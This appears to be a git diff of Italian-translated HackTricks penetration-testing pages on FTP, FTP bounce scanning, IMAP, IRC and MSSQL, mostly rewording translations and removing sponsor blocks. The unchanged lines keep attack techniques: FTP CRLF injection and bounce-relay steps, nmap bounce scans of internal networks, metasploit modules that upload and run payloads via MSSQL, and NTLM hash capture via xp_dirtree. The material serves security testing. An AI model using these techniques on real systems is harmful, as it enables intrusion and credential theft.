Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Il **File Transfer Protocol (FTP)** funge da protocollo standard per il trasferimento di file attraverso una rete informatica tra un server e un client.\
|
||||
|
@ -37,7 +29,7 @@ PORT STATE SERVICE
|
|||
|
||||
In **Active FTP**, il **client** FTP prima **inizia** la **connessione** di controllo dalla sua porta N alla porta di comando del server FTP – porta 21. Il **client** poi **ascolta** sulla porta **N+1** e invia la porta N+1 al server FTP. Il **server** FTP poi **inizia** la **connessione** dati, dalla **sua porta M alla porta N+1** del client FTP.
|
||||
|
||||
Ma, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E, una soluzione praticabile per questo è il Passive FTP.
|
||||
Ma, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP può essere un problema. E, una soluzione praticabile per questo è il Passive FTP.
|
||||
|
||||
Nel **Passive FTP**, il client inizia la connessione di controllo dalla sua porta N alla porta 21 del server FTP. Dopo questo, il client emette un **comando passv**. Il server poi invia al client uno dei suoi numeri di porta M. E il **client** **inizia** la **connessione** dati dalla **sua porta P alla porta M** del server FTP.
|
||||
|
||||
|
@ -49,7 +41,7 @@ I comandi **FTP** **`debug`** e **`trace`** possono essere utilizzati per vedere
|
|||
|
||||
## Enumerazione
|
||||
|
||||
### Banner Grabbing
|
||||
### Acquisizione del Banner
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
|
@ -136,7 +128,7 @@ Puoi connetterti a un server FTP utilizzando un browser (come Firefox) usando un
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Nota che se un **web application** sta inviando dati controllati da un utente **direttamente a un server FTP** puoi inviare una doppia codifica URL `%0d%0a` (in doppia codifica URL questo è `%250d%250a`) byte e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o cercare di comunicare con altri servizi basati su testo semplice (come http).
|
||||
Nota che se un **web application** sta inviando dati controllati da un utente **direttamente a un server FTP** puoi inviare byte codificati in doppia URL `%0d%0a` (in doppia URL encode questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o cercare di comunicare con altri servizi basati su testo semplice (come http).
|
||||
|
||||
## Scarica tutti i file da FTP
|
||||
```bash
|
||||
|
@ -152,18 +144,18 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`USER username`**
|
||||
* **`PASS password`**
|
||||
* **`HELP`** Il server indica quali comandi sono supportati
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*Questo indicherà al server FTP di stabilire una connessione con l'IP 127.0.0.1 sulla porta 80 (_devi mettere il 5° carattere come "0" e il 6° come la porta in decimale o usare il 5° e 6° per esprimere la porta in esadecimale_).
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Questo indicherà al server FTP di stabilire una connessione TCP (_indicata da "2"_) con l'IP 127.0.0.1 sulla porta 80. Questo comando **supporta IPv6**.
|
||||
* **`PORT 127,0,0,1,0,80`** Questo indicherà al server FTP di stabilire una connessione con l'IP 127.0.0.1 sulla porta 80 (_devi mettere il 5° carattere come "0" e il 6° come la porta in decimale o usare il 5° e 6° per esprimere la porta in esadecimale_).
|
||||
* **`EPRT |2|127.0.0.1|80|`** Questo indicherà al server FTP di stabilire una connessione TCP (_indicata da "2"_) con l'IP 127.0.0.1 sulla porta 80. Questo comando **supporta IPv6**.
|
||||
* **`LIST`** Questo invierà l'elenco dei file nella cartella corrente
|
||||
* **`LIST -R`** Elenca ricorsivamente (se consentito dal server)
|
||||
* **`APPE /path/something.txt`** Questo indicherà al FTP di memorizzare i dati ricevuti da una **connessione passiva** o da una connessione **PORT/EPRT** in un file. Se il nome del file esiste, aggiungerà i dati.
|
||||
* **`APPE /path/something.txt`** Questo indicherà all'FTP di memorizzare i dati ricevuti da una **connessione passiva** o da una connessione **PORT/EPRT** in un file. Se il nome del file esiste, aggiungerà i dati.
|
||||
* **`STOR /path/something.txt`** Come `APPE` ma sovrascriverà i file
|
||||
* **`STOU /path/something.txt`** Come `APPE`, ma se esiste non farà nulla.
|
||||
* **`RETR /path/to/file`** Deve essere stabilita una connessione passiva o una connessione port. Poi, il server FTP invierà il file indicato attraverso quella connessione
|
||||
* **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare al 6° byte.
|
||||
* **`TYPE i`** Imposta il trasferimento su binario
|
||||
* **`PASV`** Questo aprirà una connessione passiva e indicherà all'utente dove può connettersi
|
||||
* **`PUT /tmp/file.txt`** Carica il file indicato sul FTP
|
||||
* **`PUT /tmp/file.txt`** Carica il file indicato sull'FTP
|
||||
|
||||
![](<../../.gitbook/assets/image (386).png>)
|
||||
|
||||
|
@ -173,11 +165,11 @@ Alcuni server FTP consentono il comando PORT. Questo comando può essere utilizz
|
|||
|
||||
[**Scopri qui come abusare di un server FTP per scansionare le porte.**](ftp-bounce-attack.md)
|
||||
|
||||
Potresti anche abusare di questo comportamento per far interagire un server FTP con altri protocolli. Potresti **caricare un file contenente una richiesta HTTP** e far sì che il server FTP vulnerabile **la invii a un server HTTP arbitrario** (_magari per aggiungere un nuovo utente admin?_) o persino caricare una richiesta FTP e far sì che il server FTP vulnerabile scarichi un file da un altro server FTP.\
|
||||
Potresti anche abusare di questo comportamento per far interagire un server FTP con altri protocolli. Potresti **caricare un file contenente una richiesta HTTP** e far sì che il server FTP vulnerabile **la invii a un server HTTP arbitrario** (_forse per aggiungere un nuovo utente admin?_) o persino caricare una richiesta FTP e far sì che il server FTP vulnerabile scarichi un file da un altro server FTP.\
|
||||
La teoria è semplice:
|
||||
|
||||
1. **Carica la richiesta (all'interno di un file di testo) sul server vulnerabile.** Ricorda che se vuoi parlare con un altro server HTTP o FTP devi cambiare le righe con `0x0d 0x0a`
|
||||
2. **Usa `REST X` per evitare di inviare i caratteri che non vuoi inviare** (magari per caricare la richiesta all'interno del file dove dovevi mettere un'intestazione di immagine all'inizio)
|
||||
2. **Usa `REST X` per evitare di inviare i caratteri che non vuoi inviare** (forse per caricare la richiesta all'interno del file dove dovevi mettere un'intestazione di immagine all'inizio)
|
||||
3. **Usa `PORT` per connetterti al server e al servizio arbitrari**
|
||||
4. **Usa `RETR` per inviare la richiesta salvata al server.**
|
||||
|
||||
|
@ -189,14 +181,14 @@ La teoria è semplice:
|
|||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* Prova a **riempire la richiesta con dati "spazzatura" relativi al protocollo** (parlando con FTP magari solo comandi spazzatura o ripetendo l'istruzione `RETR` per ottenere il file)
|
||||
* Prova a **riempire la richiesta con dati "spazzatura" relativi al protocollo** (parlando con FTP forse solo comandi spazzatura o ripetendo l'istruzione `RETR` per ottenere il file)
|
||||
* Basta **riempire la richiesta con molti caratteri nulli o altri** (divisi su righe o meno)
|
||||
|
||||
Comunque, qui hai un [vecchio esempio su come abusare di questo per far scaricare un file da un server FTP diverso.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Vulnerabilità del server Filezilla
|
||||
|
||||
**FileZilla** di solito **lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP.
|
||||
**FileZilla** di solito **si lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP.
|
||||
|
||||
## File di configurazione
|
||||
```
|
||||
|
@ -224,15 +216,6 @@ La configurazione predefinita di vsFTPd può essere trovata in `/etc/vsftpd.conf
|
|||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## FTP Bounce - Scanning
|
||||
|
||||
### Manuale
|
||||
|
@ -53,15 +45,9 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Internet Message Access Protocol
|
||||
|
||||
Il **Protocollo di Accesso ai Messaggi di Internet (IMAP)** è progettato per consentire agli utenti di **accedere ai propri messaggi email da qualsiasi posizione**, principalmente tramite una connessione Internet. In sostanza, le email sono **conservate su un server** piuttosto che essere scaricate e memorizzate su un dispositivo personale. Ciò significa che quando un'email viene accessibile o letta, avviene **direttamente dal server**. Questa capacità consente la comodità di controllare le email da **più dispositivi**, garantendo che nessun messaggio venga perso indipendentemente dal dispositivo utilizzato.
|
||||
Il **Protocollo di Accesso ai Messaggi di Internet (IMAP)** è progettato per consentire agli utenti di **accedere ai propri messaggi email da qualsiasi posizione**, principalmente tramite una connessione Internet. In sostanza, le email sono **conservate su un server** piuttosto che essere scaricate e memorizzate su un dispositivo personale. Ciò significa che quando un'email viene accessibile o letta, avviene **direttamente dal server**. Questa capacità consente la comodità di controllare le email da **più dispositivi**, assicurando che nessun messaggio venga perso indipendentemente dal dispositivo utilizzato.
|
||||
|
||||
Per impostazione predefinita, il protocollo IMAP funziona su due porte:
|
||||
|
||||
|
@ -145,7 +137,7 @@ curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
|||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
Sebbene sia probabilmente più pulito scrivere un piccolo ciclo for:
|
||||
Sebbene sia probabilmente più pulito scrivere semplicemente un piccolo ciclo for:
|
||||
```bash
|
||||
for m in {1..5}; do
|
||||
echo $m
|
||||
|
@ -157,13 +149,7 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Comandi Automatici
|
||||
## Comandi Automatici HackTricks
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 143,993 #Comma separated if there is more than one.
|
||||
|
@ -194,8 +180,8 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Informazioni di base
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
IRC, inizialmente un **protocollo di testo semplice**, è stato assegnato **194/TCP** da IANA ma viene comunemente eseguito su **6667/TCP** e porte simili per evitare di necessitare **privilegi di root** per il funzionamento.
|
||||
IRC, inizialmente un **protocollo di testo semplice**, è stato assegnato **194/TCP** da IANA ma viene comunemente eseguito su **6667/TCP** e porte simili per evitare di avere bisogno di **privilegi di root** per il funzionamento.
|
||||
|
||||
Un **nickname** è tutto ciò che serve per connettersi a un server. Dopo la connessione, il server esegue una ricerca DNS inversa sull'IP dell'utente.
|
||||
|
||||
Gli utenti sono divisi in **operatori**, che necessitano di un **nome utente** e **password** per un accesso maggiore, e utenti regolari. Gli operatori hanno vari livelli di privilegi, con gli amministratori al vertice.
|
||||
Gli utenti sono divisi in **operatori**, che necessitano di un **nome utente** e **password** per avere più accesso, e **utenti** normali. Gli operatori hanno vari livelli di privilegi, con gli amministratori al vertice.
|
||||
|
||||
**Porte predefinite:** 194, 6667, 6660-7000
|
||||
```
|
||||
|
@ -96,27 +83,16 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
|||
|
||||
### Shodan
|
||||
|
||||
* `looking up your hostname`
|
||||
* `cercando il tuo hostname`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le acquisizioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
@ -37,7 +29,7 @@ Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
|
||||
* **master Database**: Questo database è cruciale in quanto cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server.
|
||||
* **msdb Database**: SQL Server Agent utilizza questo database per gestire la pianificazione di avvisi e lavori.
|
||||
* **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro vengono replicate nei database appena creati.
|
||||
* **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro sono riflesse nei database appena creati.
|
||||
* **Resource Database**: Un database di sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database Resource, sono presentati logicamente nello schema sys di ogni database.
|
||||
* **tempdb Database**: Funziona come un'area di archiviazione temporanea per oggetti transitori o set di risultati intermedi.
|
||||
|
||||
|
@ -86,9 +78,9 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
|||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
### [**Forza bruta**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
### Enumerazione Manuale
|
||||
### Enumerazione manuale
|
||||
|
||||
#### Accesso
|
||||
```bash
|
||||
|
@ -165,7 +157,7 @@ SELECT * FROM sysusers
|
|||
2. **Permission:** Associato ai securables di SQL Server, permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli:
|
||||
* **Server Level** utilizzando logins
|
||||
* **Database Level** utilizzando utenti
|
||||
3. **Principal:** Questo termine si riferisce all'entità a cui viene concesso il permesso di un securable. I principali includono principalmente logins e utenti di database. Il controllo sull'accesso ai securables è esercitato attraverso la concessione o il diniego di permessi o includendo logins e utenti in ruoli dotati di diritti di accesso.
|
||||
3. **Principal:** Questo termine si riferisce all'entità a cui viene concesso il permesso di un securable. I principali includono principalmente logins e utenti di database. Il controllo sull'accesso ai securables è esercitato attraverso la concessione o la negazione di permessi o includendo logins e utenti in ruoli dotati di diritti di accesso.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -238,7 +230,7 @@ sudo impacket-smbserver share ./ -smb2support
|
|||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Puoi controllare chi (a parte gli sysadmin) ha i permessi per eseguire quelle funzioni MSSQL con:
|
||||
Puoi controllare chi (oltre agli sysadmin) ha i permessi per eseguire quelle funzioni MSSQL con:
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
@ -254,7 +246,7 @@ Puoi vedere come utilizzare questi strumenti in:
|
|||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Abusare dei collegamenti fidati MSSQL
|
||||
### Abusare dei Link di fiducia MSSQL
|
||||
|
||||
[**Leggi questo post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **per trovare ulteriori informazioni su come abusare di questa funzionalità:**
|
||||
|
||||
|
@ -262,7 +254,7 @@ Puoi vedere come utilizzare questi strumenti in:
|
|||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Scrivere file**
|
||||
### **Scrivere File**
|
||||
|
||||
Per scrivere file utilizzando `MSSQL`, dobbiamo **abilitare** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), che richiede privilegi di amministratore, e poi eseguire alcune procedure memorizzate per creare il file:
|
||||
```bash
|
||||
|
@ -305,7 +297,7 @@ Esempio di tentativo di eseguire un **'R'** _"Hellow World!"_ **non funzionante*
|
|||
|
||||
![](<../../.gitbook/assets/image (393).png>)
|
||||
|
||||
Esempio di utilizzo di python configurato per eseguire diverse azioni:
|
||||
Esempio di utilizzo di Python configurato per eseguire diverse azioni:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
|
@ -472,7 +464,7 @@ Per ulteriori informazioni, fai riferimento ai seguenti link riguardanti questo
|
|||
|
||||
[Risoluzione dei Problemi con la Connessione Amministrativa Dedicata di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalation dei Privilegi Locali
|
||||
## Escalation dei Privilegi Locale
|
||||
|
||||
L'utente che esegue il server MSSQL avrà abilitato il token di privilegio **SeImpersonatePrivilege.**\
|
||||
Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di queste 2 pagine:
|
||||
|
@ -497,16 +489,10 @@ Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di qu
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Comandi Automatici HackTricks
|
||||
## HackTricks Comandi Automatici
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
@ -563,8 +549,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,17 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
